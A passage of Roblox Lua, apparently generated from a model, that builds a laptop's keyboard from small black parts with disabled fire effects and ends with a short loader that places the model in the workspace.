- Part35.CFrame = CFrame.new(-28.2397804, 0.119934998, 1.24922895, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part35.Orientation = Vector3.new(0, 90, 0)
- Part35.Position = Vector3.new(-28.2397804, 0.119934998, 1.24922895)
- Part35.Rotation = Vector3.new(0, 89.9599991, 180)
- Part35.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part35.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part35.Anchored = true
- Part35.BrickColor = BrickColor.new("Black")
- Part35.Material = Enum.Material.SmoothPlastic
- Part35.brickColor = BrickColor.new("Black")
- Part35.FormFactor = Enum.FormFactor.Custom
- Part35.formFactor = Enum.FormFactor.Custom
- Fire36.Parent = Part35
- Fire36.Color = Color3.new(1, 0.839216, 0)
- Fire36.Enabled = false
- Fire36.Size = 30
- Fire36.Heat = 25
- Fire36.SecondaryColor = Color3.new(1, 0, 0)
- Fire36.size = 30
- Part37.Parent = Model0
- Part37.CFrame = CFrame.new(-27.8397942, 0.119930997, 1.64923096, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part37.Orientation = Vector3.new(0, 90, 0)
- Part37.Position = Vector3.new(-27.8397942, 0.119930997, 1.64923096)
- Part37.Rotation = Vector3.new(0, 89.9599991, 180)
- Part37.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part37.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part37.Anchored = true
- Part37.BrickColor = BrickColor.new("Black")
- Part37.Material = Enum.Material.SmoothPlastic
- Part37.brickColor = BrickColor.new("Black")
- Part37.FormFactor = Enum.FormFactor.Custom
- Part37.formFactor = Enum.FormFactor.Custom
- Fire38.Parent = Part37
- Fire38.Color = Color3.new(1, 0.839216, 0)
- Fire38.Enabled = false
- Fire38.Size = 30
- Fire38.Heat = 25
- Fire38.SecondaryColor = Color3.new(1, 0, 0)
- Fire38.size = 30
- Part39.Parent = Model0
- Part39.CFrame = CFrame.new(-27.4397964, 0.119938999, 2.44923401, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part39.Orientation = Vector3.new(0, 90, 0)
- Part39.Position = Vector3.new(-27.4397964, 0.119938999, 2.44923401)
- Part39.Rotation = Vector3.new(0, 89.9599991, 180)
- Part39.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part39.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part39.Anchored = true
- Part39.BrickColor = BrickColor.new("Black")
- Part39.Material = Enum.Material.SmoothPlastic
- Part39.brickColor = BrickColor.new("Black")
- Part39.FormFactor = Enum.FormFactor.Custom
- Part39.formFactor = Enum.FormFactor.Custom
- Fire40.Parent = Part39
- Fire40.Color = Color3.new(1, 0.839216, 0)
- Fire40.Enabled = false
- Fire40.Size = 30
- Fire40.Heat = 25
- Fire40.SecondaryColor = Color3.new(1, 0, 0)
- Fire40.size = 30
- Part41.Parent = Model0
- Part41.CFrame = CFrame.new(-28.6397781, 0.119938999, 1.04923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part41.Orientation = Vector3.new(0, 90, 0)
- Part41.Position = Vector3.new(-28.6397781, 0.119938999, 1.04923201)
- Part41.Rotation = Vector3.new(0, 89.9599991, 180)
- Part41.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part41.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part41.Anchored = true
- Part41.BrickColor = BrickColor.new("Black")
- Part41.Material = Enum.Material.SmoothPlastic
- Part41.brickColor = BrickColor.new("Black")
- Part41.FormFactor = Enum.FormFactor.Custom
- Part41.formFactor = Enum.FormFactor.Custom
- Fire42.Parent = Part41
- Fire42.Color = Color3.new(1, 0.839216, 0)
- Fire42.Enabled = false
- Fire42.Size = 30
- Fire42.Heat = 25
- Fire42.SecondaryColor = Color3.new(1, 0, 0)
- Fire42.size = 30
- Part43.Parent = Model0
- Part43.CFrame = CFrame.new(-28.6397743, 0.119938999, 1.44923401, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part43.Orientation = Vector3.new(0, 90, 0)
- Part43.Position = Vector3.new(-28.6397743, 0.119938999, 1.44923401)
- Part43.Rotation = Vector3.new(0, 89.9599991, 180)
- Part43.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part43.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part43.Anchored = true
- Part43.BrickColor = BrickColor.new("Black")
- Part43.Material = Enum.Material.SmoothPlastic
- Part43.brickColor = BrickColor.new("Black")
- Part43.FormFactor = Enum.FormFactor.Custom
- Part43.formFactor = Enum.FormFactor.Custom
- Fire44.Parent = Part43
- Fire44.Color = Color3.new(1, 0.839216, 0)
- Fire44.Enabled = false
- Fire44.Size = 30
- Fire44.Heat = 25
- Fire44.SecondaryColor = Color3.new(1, 0, 0)
- Fire44.size = 30
- Part45.Parent = Model0
- Part45.CFrame = CFrame.new(-28.2397804, 0.119930997, 1.64923096, -2.28668301e-14, -8.70102649e-29, 0.999999762, 2.29771866e-14, 0.999999762, -7.77682206e-29, -1, 1.39245898e-14, 6.61458701e-15)
- Part45.Orientation = Vector3.new(0, 90, 0)
- Part45.Position = Vector3.new(-28.2397804, 0.119930997, 1.64923096)
- Part45.Rotation = Vector3.new(0, 89.9599991, 180)
- Part45.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part45.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part45.Anchored = true
- Part45.BrickColor = BrickColor.new("Black")
- Part45.Material = Enum.Material.SmoothPlastic
- Part45.brickColor = BrickColor.new("Black")
- Part45.FormFactor = Enum.FormFactor.Custom
- Part45.formFactor = Enum.FormFactor.Custom
- Fire46.Parent = Part45
- Fire46.Color = Color3.new(1, 0.839216, 0)
- Fire46.Enabled = false
- Fire46.Size = 30
- Fire46.Heat = 25
- Fire46.SecondaryColor = Color3.new(1, 0, 0)
- Fire46.size = 30
- Part47.Parent = Model0
- Part47.CFrame = CFrame.new(-27.8397903, 0.119943, 2.04923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part47.Orientation = Vector3.new(0, 90, 0)
- Part47.Position = Vector3.new(-27.8397903, 0.119943, 2.04923201)
- Part47.Rotation = Vector3.new(0, 89.9599991, 180)
- Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part47.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part47.Anchored = true
- Part47.BrickColor = BrickColor.new("Black")
- Part47.Material = Enum.Material.SmoothPlastic
- Part47.brickColor = BrickColor.new("Black")
- Part47.FormFactor = Enum.FormFactor.Custom
- Part47.formFactor = Enum.FormFactor.Custom
- Fire48.Parent = Part47
- Fire48.Color = Color3.new(1, 0.839216, 0)
- Fire48.Enabled = false
- Fire48.Size = 30
- Fire48.Heat = 25
- Fire48.SecondaryColor = Color3.new(1, 0, 0)
- Fire48.size = 30
- Part49.Parent = Model0
- Part49.CFrame = CFrame.new(-28.2397804, 0.119934998, 2.04923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part49.Orientation = Vector3.new(0, 90, 0)
- Part49.Position = Vector3.new(-28.2397804, 0.119934998, 2.04923201)
- Part49.Rotation = Vector3.new(0, 89.9599991, 180)
- Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part49.Anchored = true
- Part49.BrickColor = BrickColor.new("Black")
- Part49.Material = Enum.Material.SmoothPlastic
- Part49.brickColor = BrickColor.new("Black")
- Part49.FormFactor = Enum.FormFactor.Custom
- Part49.formFactor = Enum.FormFactor.Custom
- Fire50.Parent = Part49
- Fire50.Color = Color3.new(1, 0.839216, 0)
- Fire50.Enabled = false
- Fire50.Size = 30
- Fire50.Heat = 25
- Fire50.SecondaryColor = Color3.new(1, 0, 0)
- Fire50.size = 30
- Part51.Name = "Spacebar"
- Part51.Parent = Model0
- Part51.CFrame = CFrame.new(-29.2397652, 0.119930997, 1.04923201, -1.02549076e-14, -7.07238414e-30, 0.999999821, 2.69379686e-14, 0.999999821, -1.77091882e-28, -1, 2.17196764e-14, 1.03017121e-14)
- Part51.Orientation = Vector3.new(0, 90, 0)
- Part51.Position = Vector3.new(-29.2397652, 0.119930997, 1.04923201)
- Part51.Rotation = Vector3.new(0, 89.9700012, 180)
- Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part51.Size = Vector3.new(1.20000005, 0.200000003, 0.200000003)
- Part51.Anchored = true
- Part51.BrickColor = BrickColor.new("Black")
- Part51.Material = Enum.Material.SmoothPlastic
- Part51.brickColor = BrickColor.new("Black")
- Part51.FormFactor = Enum.FormFactor.Custom
- Part51.formFactor = Enum.FormFactor.Custom
- Fire52.Parent = Part51
- Fire52.Color = Color3.new(1, 0.839216, 0)
- Fire52.Enabled = false
- Fire52.Size = 30
- Fire52.Heat = 25
- Fire52.SecondaryColor = Color3.new(1, 0, 0)
- Fire52.size = 30
- Part53.Parent = Model0
- Part53.CFrame = CFrame.new(-27.8397903, 0.119943, 2.44923401, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part53.Orientation = Vector3.new(0, 90, 0)
- Part53.Position = Vector3.new(-27.8397903, 0.119943, 2.44923401)
- Part53.Rotation = Vector3.new(0, 89.9599991, 180)
- Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part53.Anchored = true
- Part53.BrickColor = BrickColor.new("Black")
- Part53.Material = Enum.Material.SmoothPlastic
- Part53.brickColor = BrickColor.new("Black")
- Part53.FormFactor = Enum.FormFactor.Custom
- Part53.formFactor = Enum.FormFactor.Custom
- Fire54.Parent = Part53
- Fire54.Color = Color3.new(1, 0.839216, 0)
- Fire54.Enabled = false
- Fire54.Size = 30
- Fire54.Heat = 25
- Fire54.SecondaryColor = Color3.new(1, 0, 0)
- Fire54.size = 30
- Part55.Parent = Model0
- Part55.CFrame = CFrame.new(-28.6397781, 0.119938999, 1.84923506, 1.06464647e-14, -2.91054757e-27, 0.999990284, -6.65890615e-14, 0.999990284, -1.99182544e-27, -1, -2.6141082e-13, 7.76688013e-14)
- Part55.Orientation = Vector3.new(0, 90, 0)
- Part55.Position = Vector3.new(-28.6397781, 0.119938999, 1.84923506)
- Part55.Rotation = Vector3.new(0, 89.75, 0)
- Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part55.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part55.Anchored = true
- Part55.BrickColor = BrickColor.new("Black")
- Part55.Material = Enum.Material.SmoothPlastic
- Part55.brickColor = BrickColor.new("Black")
- Part55.FormFactor = Enum.FormFactor.Custom
- Part55.formFactor = Enum.FormFactor.Custom
- Fire56.Parent = Part55
- Fire56.Color = Color3.new(1, 0.839216, 0)
- Fire56.Enabled = false
- Fire56.Size = 30
- Fire56.Heat = 25
- Fire56.SecondaryColor = Color3.new(1, 0, 0)
- Fire56.size = 30
- Part57.Parent = Model0
- Part57.CFrame = CFrame.new(-28.2397804, 0.119938999, 2.44923401, 2.78604756e-14, -1.94508062e-27, 0.999999762, -1.59030124e-13, 0.999999762, -1.60901451e-27, -1, -1.67263813e-13, 6.34580076e-14)
- Part57.Orientation = Vector3.new(0, 90, 0)
- Part57.Position = Vector3.new(-28.2397804, 0.119938999, 2.44923401)
- Part57.Rotation = Vector3.new(0, 89.9599991, 0)
- Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part57.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part57.Anchored = true
- Part57.BrickColor = BrickColor.new("Black")
- Part57.Material = Enum.Material.SmoothPlastic
- Part57.brickColor = BrickColor.new("Black")
- Part57.FormFactor = Enum.FormFactor.Custom
- Part57.formFactor = Enum.FormFactor.Custom
- Fire58.Parent = Part57
- Fire58.Color = Color3.new(1, 0.839216, 0)
- Fire58.Enabled = false
- Fire58.Size = 30
- Fire58.Heat = 25
- Fire58.SecondaryColor = Color3.new(1, 0, 0)
- Fire58.size = 30
- Part59.Parent = Model0
- Part59.CFrame = CFrame.new(-28.6397781, 0.119938999, 2.24922895, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part59.Orientation = Vector3.new(0, 90, 0)
- Part59.Position = Vector3.new(-28.6397781, 0.119938999, 2.24922895)
- Part59.Rotation = Vector3.new(0, 89.9599991, 180)
- Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part59.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part59.Anchored = true
- Part59.BrickColor = BrickColor.new("Black")
- Part59.Material = Enum.Material.SmoothPlastic
- Part59.brickColor = BrickColor.new("Black")
- Part59.FormFactor = Enum.FormFactor.Custom
- Part59.formFactor = Enum.FormFactor.Custom
- Fire60.Parent = Part59
- Fire60.Color = Color3.new(1, 0.839216, 0)
- Fire60.Enabled = false
- Fire60.Size = 30
- Fire60.Heat = 25
- Fire60.SecondaryColor = Color3.new(1, 0, 0)
- Fire60.size = 30
- Part61.Name = "Left"
- Part61.Parent = Model0
- Part61.CFrame = CFrame.new(-29.3397675, 0.119930997, 2.24922895, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part61.Orientation = Vector3.new(0, 90, 0)
- Part61.Position = Vector3.new(-29.3397675, 0.119930997, 2.24922895)
- Part61.Rotation = Vector3.new(0, 89.9599991, 180)
- Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part61.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part61.Anchored = true
- Part61.BrickColor = BrickColor.new("Black")
- Part61.Material = Enum.Material.SmoothPlastic
- Part61.brickColor = BrickColor.new("Black")
- Part61.FormFactor = Enum.FormFactor.Custom
- Part61.formFactor = Enum.FormFactor.Custom
- Fire62.Parent = Part61
- Fire62.Color = Color3.new(1, 0.839216, 0)
- Fire62.Enabled = false
- Fire62.Size = 30
- Fire62.Heat = 25
- Fire62.SecondaryColor = Color3.new(1, 0, 0)
- Fire62.size = 30
- Part63.Name = "Up"
- Part63.Parent = Model0
- Part63.CFrame = CFrame.new(-29.039772, 0.119930997, 2.54923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part63.Orientation = Vector3.new(0, 90, 0)
- Part63.Position = Vector3.new(-29.039772, 0.119930997, 2.54923201)
- Part63.Rotation = Vector3.new(0, 89.9599991, 180)
- Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part63.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part63.Anchored = true
- Part63.BrickColor = BrickColor.new("Black")
- Part63.Material = Enum.Material.SmoothPlastic
- Part63.brickColor = BrickColor.new("Black")
- Part63.FormFactor = Enum.FormFactor.Custom
- Part63.formFactor = Enum.FormFactor.Custom
- Fire64.Parent = Part63
- Fire64.Color = Color3.new(1, 0.839216, 0)
- Fire64.Enabled = false
- Fire64.Size = 30
- Fire64.Heat = 25
- Fire64.SecondaryColor = Color3.new(1, 0, 0)
- Fire64.size = 30
- Part65.Name = "Down"
- Part65.Parent = Model0
- Part65.CFrame = CFrame.new(-29.3397675, 0.119930997, 2.54923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part65.Orientation = Vector3.new(0, 90, 0)
- Part65.Position = Vector3.new(-29.3397675, 0.119930997, 2.54923201)
- Part65.Rotation = Vector3.new(0, 89.9599991, 180)
- Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part65.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part65.Anchored = true
- Part65.BrickColor = BrickColor.new("Black")
- Part65.Material = Enum.Material.SmoothPlastic
- Part65.brickColor = BrickColor.new("Black")
- Part65.FormFactor = Enum.FormFactor.Custom
- Part65.formFactor = Enum.FormFactor.Custom
- Fire66.Parent = Part65
- Fire66.Color = Color3.new(1, 0.839216, 0)
- Fire66.Enabled = false
- Fire66.Size = 30
- Fire66.Heat = 25
- Fire66.SecondaryColor = Color3.new(1, 0, 0)
- Fire66.size = 30
- Part67.Name = "Right"
- Part67.Parent = Model0
- Part67.CFrame = CFrame.new(-29.3397675, 0.119930997, 2.84923506, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part67.Orientation = Vector3.new(0, 90, 0)
- Part67.Position = Vector3.new(-29.3397675, 0.119930997, 2.84923506)
- Part67.Rotation = Vector3.new(0, 89.9599991, 180)
- Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part67.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part67.Anchored = true
- Part67.BrickColor = BrickColor.new("Black")
- Part67.Material = Enum.Material.SmoothPlastic
- Part67.brickColor = BrickColor.new("Black")
- Part67.FormFactor = Enum.FormFactor.Custom
- Part67.formFactor = Enum.FormFactor.Custom
- Fire68.Parent = Part67
- Fire68.Color = Color3.new(1, 0.839216, 0)
- Fire68.Enabled = false
- Fire68.Size = 30
- Fire68.Heat = 25
- Fire68.SecondaryColor = Color3.new(1, 0, 0)
- Fire68.size = 30
- Script69.Name = "Laptop"
- Script69.Parent = Model0
- table.insert(cors,sandbox(Script69,function()
- end))
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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